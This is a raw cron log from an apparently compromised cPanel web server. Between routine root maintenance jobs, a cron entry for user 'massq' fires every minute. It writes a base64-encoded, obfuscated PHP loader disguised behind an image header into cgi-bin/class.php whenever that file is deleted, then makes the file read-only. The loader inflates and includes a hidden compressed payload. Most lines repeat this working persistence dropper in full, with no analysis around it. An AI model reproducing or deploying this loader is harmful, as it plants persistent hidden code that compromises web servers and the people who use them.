&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:55:01 server CROND[15754]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 22:55:01 server CROND[15753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 22:56:01 server CROND[16654]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:57:01 server CROND[17529]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 22:57:01 server CROND[17530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:58:01 server CROND[18398]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:59:01 server CROND[19275]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:00:01 server CROND[20139]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 23:00:01 server CROND[20140]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 23:00:01 server CROND[20141]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:00:01 server CROND[20142]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 23:01:01 server CROND[21057]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 23:01:01 server CROND[21058]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:01:01 server run-parts(/etc/cron.hourly)[21057]: starting 0anacron
Nov 12 23:01:01 server run-parts(/etc/cron.hourly)[21071]: finished 0anacron
Nov 12 23:02:01 server CROND[21938]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:03:01 server CROND[22734]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:04:01 server CROND[23492]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:05:01 server CROND[23723]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 23:05:01 server CROND[23725]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 12 23:05:01 server CROND[23731]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:05:01 server CROND[23732]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 23:05:01 server CROND[23733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 23:06:01 server CROND[24802]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:07:01 server CROND[25666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
